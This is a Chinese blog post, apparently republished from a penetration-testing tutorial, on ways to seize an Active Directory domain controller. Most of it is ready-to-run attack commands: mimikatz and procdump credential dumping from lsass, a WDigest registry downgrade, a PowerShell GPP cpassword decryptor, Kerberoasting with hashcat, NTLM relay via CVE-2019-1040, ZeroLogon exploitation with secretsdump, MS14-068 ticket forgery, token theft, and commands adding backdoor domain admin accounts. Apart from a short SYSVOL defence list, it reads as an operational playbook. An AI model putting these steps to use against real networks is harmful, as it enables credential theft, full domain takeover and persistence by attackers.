获取域控的方法

2024-01-20 17:20
文章标签 方法 获取 域控

本文主要是介绍获取域控的方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限

1.高权限读取本地密码

当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过 mimikatz来读取到本地的明文密码。

privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式 进行绕过。先导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通过mimikatz读lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取 明文。

添加注册表,设置UseLogonCredential设置为1reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell脚本进行锁屏

Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理员重新登录后就可以抓取到明文密码了。

net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes
00000000000000000000000000000000:42e2656ec24331269f82160ff5962387
administrator@10.10.10.137 "whoami"

2.SYSVOL组策略获取密码

在域环境中,有个默认的共享路径

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有 用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本 登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。

可以利用powershell解密密文:

function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object
System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey =
@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe
8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,
0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

针对SYSOVL的防御:

1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限

3.Kerberoasting

SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个 实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进 行离线破解,有可能获取到域用户的密码了。

原理

当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过 后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS 会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据 回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服 务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中 hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相 同,代表口令正确,就能获得目标服务实例的明文口令

使用setspn查询spn(windows7和server2008默认自带)

查询域内所有的SPN和查询test域的SPN

setspn.exe -q */*
setspn.exe -T redteam.club -q */*

以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

查询域内注册的spn(kerberoast)

cscript GetUserSPNs.vbs

PowerView 
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

给mySQL服务注册SPN

setspn -s mysql/12server4.redteam.club:3306 test

将kerberos的加密方式换成RC4_HMAC_MD5

方法1.用mimikatz 脚本穷举

请求指定的TGS,完成之后klist就能查看相应的票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "mysql/12server4.redteam.club:3306"

mimikatz导出票据

kerberos::list /export

使用tgsrepcrack.py破解 :https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

python3 tgsrepcrack.py wordlist.txt mssql.kirbi

如果是域控用户注册的 可以得到域得明文密码

方法2 使用hashcat穷举

使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中 提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

实例演示:

在域内一台主机上以普通用户权限执行:

Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -
NoTypeInformation

输出结果如下图:

保存文件 使用hashcat对其穷举

hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o
found.txt --force

4.内网协议NTLM之内网大杀器CVE-2019-1040漏洞

创建机器主机账号

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"

中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中– remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --
delegate-access --escalate-user moonsec\$ -debug

域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

监听提升 修改委派

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spn
cifs/ad2.redteam.club -impersonate administrator

export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf

python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

导出域控哈希

python3 smbexec.py -no-pass -k ad2.redteam.club

5.CVE-2020-1472-ZeroLogon

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远 程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空.

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008
R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server
2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows
Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019
(Server Core installation) Windows Server, version 1903 (Server Core
installation) Windows Server, version 1909 (Server Core installation) Windows
Server, version 2004 (Server Core installation)

使用zerologin脚本复现

复现过程

python3 zerologon_tester.py ad01 10.10.10.1

漏洞利用 下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

python3 cve-2020-1472-exploit.py ad01 10.10.10.137

获取HASH

使用impacket包中的secretsdum.py来获取相关的HASh

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass

python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL

python wmiexec.py -hashes DOMAIN/DOMAIN_USER@DC_IP_ADDR

python3 wmiexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
redteam.club/administrator@10.10.10.137

恢复原HASH

导出sam

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

获取hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL

执行以下命令,获取SAM中原来的HASH

python3 reinstall_original_pw.py ad01 10.10.10.137
813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a
0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b29
3418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897
a6bd93ba44d6366bed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff
83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54a
ed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced

检测域密码

python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes
:42e2656ec24331269f82160ff5962387

6.MS14-068漏洞进行提权

server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构 造特定的请求包来达到提升权限的目的。

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-
273474972-1103 -d 08server-dc.moonsec.fbi

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

kerberos::ptc TGT_test@moonsec.fbi.ccache

第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操 作。

PsExec.exe \\dc cmd.exe
// 添加test用户net user test abc123! /add /domain
// 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
// 查看域管理员net group "domain admins" /domain或者使用python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142
moonsec.fbi/test:123456@08server-dc.moonsec.fbi

7.窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在 meterpreter shell 上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

8.进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

2、利用ps找到域管理员(TEST\bypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进 程中,成功后就获得了域管理员权限。

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain

这篇关于获取域控的方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/626749

相关文章

Java 中的 @SneakyThrows 注解使用方法(简化异常处理的利与弊)

《Java中的@SneakyThrows注解使用方法(简化异常处理的利与弊)》为了简化异常处理,Lombok提供了一个强大的注解@SneakyThrows,本文将详细介绍@SneakyThro... 目录1. @SneakyThrows 简介 1.1 什么是 Lombok?2. @SneakyThrows

判断PyTorch是GPU版还是CPU版的方法小结

《判断PyTorch是GPU版还是CPU版的方法小结》PyTorch作为当前最流行的深度学习框架之一,支持在CPU和GPU(NVIDIACUDA)上运行,所以对于深度学习开发者来说,正确识别PyTor... 目录前言为什么需要区分GPU和CPU版本?性能差异硬件要求如何检查PyTorch版本?方法1:使用命

Qt实现网络数据解析的方法总结

《Qt实现网络数据解析的方法总结》在Qt中解析网络数据通常涉及接收原始字节流,并将其转换为有意义的应用层数据,这篇文章为大家介绍了详细步骤和示例,感兴趣的小伙伴可以了解下... 目录1. 网络数据接收2. 缓冲区管理(处理粘包/拆包)3. 常见数据格式解析3.1 jsON解析3.2 XML解析3.3 自定义

SpringMVC 通过ajax 前后端数据交互的实现方法

《SpringMVC通过ajax前后端数据交互的实现方法》:本文主要介绍SpringMVC通过ajax前后端数据交互的实现方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价... 在前端的开发过程中,经常在html页面通过AJAX进行前后端数据的交互,SpringMVC的controll

Java中的工具类命名方法

《Java中的工具类命名方法》:本文主要介绍Java中的工具类究竟如何命名,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录Java中的工具类究竟如何命名?先来几个例子几种命名方式的比较到底如何命名 ?总结Java中的工具类究竟如何命名?先来几个例子JD

Spring Security自定义身份认证的实现方法

《SpringSecurity自定义身份认证的实现方法》:本文主要介绍SpringSecurity自定义身份认证的实现方法,下面对SpringSecurity的这三种自定义身份认证进行详细讲解,... 目录1.内存身份认证(1)创建配置类(2)验证内存身份认证2.JDBC身份认证(1)数据准备 (2)配置依

SpringBoot整合mybatisPlus实现批量插入并获取ID详解

《SpringBoot整合mybatisPlus实现批量插入并获取ID详解》这篇文章主要为大家详细介绍了SpringBoot如何整合mybatisPlus实现批量插入并获取ID,文中的示例代码讲解详细... 目录【1】saveBATch(一万条数据总耗时:2478ms)【2】集合方式foreach(一万条数

python获取网页表格的多种方法汇总

《python获取网页表格的多种方法汇总》我们在网页上看到很多的表格,如果要获取里面的数据或者转化成其他格式,就需要将表格获取下来并进行整理,在Python中,获取网页表格的方法有多种,下面就跟随小编... 目录1. 使用Pandas的read_html2. 使用BeautifulSoup和pandas3.

SpringBoot UserAgentUtils获取用户浏览器的用法

《SpringBootUserAgentUtils获取用户浏览器的用法》UserAgentUtils是于处理用户代理(User-Agent)字符串的工具类,一般用于解析和处理浏览器、操作系统以及设备... 目录介绍效果图依赖封装客户端工具封装IP工具实体类获取设备信息入库介绍UserAgentUtils

Spring 中的循环引用问题解决方法

《Spring中的循环引用问题解决方法》:本文主要介绍Spring中的循环引用问题解决方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录什么是循环引用?循环依赖三级缓存解决循环依赖二级缓存三级缓存本章来聊聊Spring 中的循环引用问题该如何解决。这里聊